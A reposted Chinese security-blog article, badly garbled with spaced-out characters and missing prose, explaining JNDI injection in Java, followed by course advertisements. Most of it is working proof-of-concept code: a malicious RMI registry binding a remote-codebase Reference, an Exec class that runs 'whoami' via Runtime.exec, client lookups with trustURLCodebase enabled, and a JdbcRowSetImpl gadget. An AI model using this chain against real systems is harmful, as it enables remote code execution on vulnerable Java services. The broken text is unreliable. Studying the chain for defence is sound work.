[27307] 2021-08-05_深入理解JAVA中的JNDI注入

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-19
2021-08-05_深入理解JAVA中的JNDI注入 J A V A J N D I     M s 0 8 0 6 7   2 0 2 1 - 0 8 - 0 5 # j a v a   , 8 # J a v a   , 1 6 # j a v a   , 1 1 #   , 3 M S 0 8 0 6 7 D _ i n f i n i t e J a v a J N D I ? J N D I   ( J a v a   N a m i n g   a n d   D i r e c t o r y   I n t e r f a c e )   访 J N D I J N D I J a v a J N D I R M I R M I J N D I 访 J N D I N a m i n g   a n d   D i r e c t o r y   P r o v i d e r s R M I R M I   R e g i s t r y   S e r v i c e   P r o v i d e r J N D I R M I 访 R M I J N D I R M I U R L R M I J N D I L D A P   R M I A P I 便 J N D I c l i e n t 1 0 . 0 . 0 . 1 J N D I c l i e n t C o n t e x t   c o n t e x t   =   n e w     I n i t i a l C o n t e x t ( ) ; c o n t e x t . l o o k u p ( p r o v i d e r U R L ) ;
p r o v i d e r U R L J N D I 使 e v i l 1 0 . 0 . 0 . 2 1 0 . 0 . 0 . 1 J N D I   R e f e r e n c e s J N D I R M I R e f e r e n c e s R e f e r e n c e R e f e r e n c e a b l e . g e t R e f e r e n c e ( ) l o o k u p ( ) o b j e c t   f a c t o r y f a c t o r y r e f e r e n c e R e f e r e n c e s c l a s s F a c t o r y L o c a t i o n L D A P R M I J N D I s e r v e r 1 0 . 0 . 0 . 2 R M I / e x e c R e f e r e n c e R e f e r e n c e 1 2 7 . 0 . 0 . 1 : 8 0 8 0 / E x e c . c l a s s , R e f e r e n c e c l a s s N a m e , c l a s s F a c t o r y E x e c ? p r o v i d e r U R L = r m i : / / 1 0 . 0 . 0 . 2 : 9 5 2 7 / e v i l p r o t e c t e d   S t r i n g   c l a s s N a m e ; p r o t e c t e d   V e c t o r < R e f A d d r >   a d d r s   =   n u l l ; p r o t e c t e d   S t r i n g   c l a s s F a c t o r y   =   n u l l ; p r o t e c t e d   S t r i n g   c l a s s F a c t o r y L o c a t i o n   =   n u l l ; R e g i s t r y   r e g i s t r y   =   L o c a t e R e g i s t r y . c r e a t e R e g i s t r y ( 9 5 2 7 ) ; R e f e r e n c e   e x e c   =   n e w   R e f e r e n c e ( " E x e c " ,   " E x e c " ,   " h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 8 0 / " ) ; R e f e r e n c e W r a p p e r   r e f W r a p   =   n e w   R e f e r e n c e W r a p p e r ( e x e c ) ; S y s t e m . o u t . p r i n t l n ( " B i n d i n g   ' r e f O b j W r a p p e r '   t o   ' r m i : / / 1 2 7 . 0 . 0 . 1 : 9 5 2 7 / e x e c " ) ; r e g i s t r y . b i n d ( " e x e c " ,   r e f W r a p ) ; i m p o r t   j a v a . i o . B y t e A r r a y O u t p u t S t r e a m ; i m p o r t   j a v a . i o . I n p u t S t r e a m ; i m p o r t   j a v a . i o . I n p u t S t r e a m R e a d e r ; i m p o r t   j a v a . i o . O u t p u t S t r e a m ; p u b l i c   c l a s s   E x e c   {         p u b l i c   E x e c ( )   t h r o w s   E x c e p t i o n {                 S t r i n g   c m d   =   " w h o a m i " ;                 P r o c e s s   p   =   R u n t i m e . g e t R u n t i m e ( ) . e x e c ( c m d ) ;                 I n p u t S t r e a m   i s   =   p . g e t I n p u t S t r e a m ( ) ;                 B y t e A r r a y O u t p u t S t r e a m   b a o s   =   n e w   B y t e A r r a y O u t p u t S t r e a m ( ) ;                 b y t e [ ]   b   =   n e w   b y t e [ 1 0 2 4 ] ;                 i n t   a   =   - 1 ;                 w h i l e   ( ( a   =   i s . r e a d ( b ) )   ! =   - 1 ) {                         b a o s . w r i t e ( b ,   0 ,   a ) ;                 }                 S y s t e m . o u t . p r i n t l n ( n e w   S t r i n g ( b a o s . t o B y t e A r r a y ( ) ) ) ;
E x e c . c l a s s w e b c l i e n t 1 0 . 0 . 0 . 1 w h o a m i R M I J a v a j a v a . r m i . s e r v e r . u s e C o d e b a s e O n l y f a l s e ( ) t r u e O b j e c t F a c t o r y c o m . s u n . j n d i . r m i . o b j e c t . t r u s t U R L C o d e b a s e f a l s e ( ) J D K   5   U 4 5 , J D K   6   U 4 5 , J D K   7 u 2 1 , J D K   8 u 1 2 1 j a v a . r m i . s e r v e r . u s e C o d e b a s e O n l y t r u e J D K   6 u 1 3 2 ,   J D K   7 u 1 2 2 ,   J D K   8 u 1 1 3 c o m . s u n . j n d i . r m i . o b j e c t . t r u s t U R L C o d e b a s e f a l s e                 p . w a i t F o r ( ) ;         } } j a v a c   E x e c . j a v a c p   E x e c . c l a s s   / v a r / w w w / h t m l / S y s t e m . s e t P r o p e r t y ( " j a v a . r m i . s e r v e r . u s e C o d e b a s e O n l y " ,   " f a l s e " ) ; S y s t e m . s e t P r o p e r t y ( " c o m . s u n . j n d i . r m i . o b j e c t . t r u s t U R L C o d e b a s e " ,   " t r u e " ) ; C o n t e x t   c o n t e x t   =   n e w     I n i t i a l C o n t e x t ( ) ; c o n t e x t . l o o k u p ( " r m i : / / 1 2 7 . 0 . 0 . 1 / e x e c " ) ;
o b j e c t   f a c t o r y d e c o d e O b j e c t d e c o d e O b j e c t R e m o t e R e f e r e n c e g e t R e f e r e n c e r e f e r e n c e g e t O b j e c t I n s t a n c e g e t O b j e c t I n s t a n c e R M I g e t O b j e c t F a c t o r y F r o m R e f e r e n c e g e t O b j e c t F a c t o r y F r o m R e f e r e n c e C l a s s c l a s . n e w I n s t a n c e ( ) g e t O b j e c t I n s t a n c e O b j e c t F a c t o r y g e t O b j e c t I n s t a n c e v a r 1 r e m o t e O b j e c t   v a r 3   =   v a r 1   i n s t a n c e o f   R e m o t e R e f e r e n c e   ?   ( ( R e m o t e R e f e r e n c e ) v a r 1 ) . g e t R e f e r e n c e ( )   :   v a r 1 ; i f   ( r e f   ! =   n u l l )   {                         S t r i n g   f   =   r e f . g e t F a c t o r y C l a s s N a m e ( ) ;                         i f   ( f   ! =   n u l l )   {                                 / /   i f   r e f e r e n c e   i d e n t i f i e s   a   f a c t o r y ,   u s e   e x c l u s i v e l y                                 f a c t o r y   =   g e t O b j e c t F a c t o r y F r o m R e f e r e n c e ( r e f ,   f ) ;   / / 1                                 i f   ( f a c t o r y   ! =   n u l l )   {                                         r e t u r n   f a c t o r y . g e t O b j e c t I n s t a n c e ( r e f ,   n a m e ,   n a m e C t x ,                                                                                                           e n v i r o n m e n t ) ;   / / 2                                 }                                 / /   N o   f a c t o r y   f o u n d ,   s o   r e t u r n   o r i g i n a l   r e f I n f o .                                 / /   W i l l   r e a c h   t h i s   p o i n t   i f   f a c t o r y   c l a s s   i s   n o t   i n                                 / /   c l a s s   p a t h   a n d   r e f e r e n c e   d o e s   n o t   c o n t a i n   a   U R L   f o r   i t                                 r e t u r n   r e f I n f o ; r e t u r n   ( c l a s   ! =   n u l l )   ?   ( O b j e c t F a c t o r y )   c l a s . n e w I n s t a n c e ( )   :   n u l l ; p u b l i c   c l a s s   E x e c   i m p l e m e n t s   O b j e c t F a c t o r y   {         p u b l i c   E x e c ( ) {         }         p u b l i c   O b j e c t   g e t O b j e c t I n s t a n c e ( O b j e c t   o b j ,   N a m e   n a m e ,   C o n t e x t   n a m e C t x ,   H a s h t a b l e < ? ,   ? >   e n v i r o n m e n t )   t h r o w s   E x c e p t i o n   {                 S y s t e m . o u t . p r i n t l n ( " f a c t o r y . g e t O b j e c t I n s t a n c e   h o o k ! " ) ;                 r e t u r n   n u l l ;         } }
J d b c R o w S e t I m p l J N D I c o n t e x t . l o o k u p c o n t e x t . l o o k u p J N D I J d b c R o w S e t I m p l P O C l o o k u p s e t A u t o C o m m i t c o n n e c t 1 . P O C E x e c 使 1 . 8 S e r v e r C l i e n t 使 1 . 7 J A V A 使 1 . 6 E x e c . c l a s s 1 . 8 2 . E x e c p a c k a g e D _ i n f i n i t e     J A V A ~ 2 0 J a v a S y s t e m . s e t P r o p e r t y ( " c o m . s u n . j n d i . r m i . o b j e c t . t r u s t U R L C o d e b a s e " ,   " t r u e " ) ; J d b c R o w S e t I m p l   j   =   n e w   J d b c R o w S e t I m p l ( ) ; j . s e t D a t a S o u r c e N a m e ( " r m i : / / 1 2 7 . 0 . 0 . 1 : 9 5 2 7 / e x e c " ) ; j . s e t A u t o C o m m i t ( t r u e ) ;
h t t p s : / / i t e m . j d . c o m / 1 0 0 3 3 8 3 2 3 6 0 7 1 6 . h t m l 8 6   1 9 0 0 - 2 1 : 0 0   2 4 4 8 8 线 线 + + + J a v a A w e b j a v a f r e e b u f B C J a v a / D J a v a f r e e b u f p a p e r
4 9 9 9 4 6 9 9 2 0 J A V A 4 9 9 M S 0 8 0 6 7 4 4 9 9 J A V A J A V A # #
# # # #
B h t t p s : / / w w w . b u g b a n k . c n / l i v e / j a v a J A V A M S 0 8 0 6 7 线 广
        M S 0 8 0 6 7         M S 0 8 0 6 7 4 5 M S 0 8 0 6 7 1 0 0 % 1 - 2     5 0 0 0 +
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则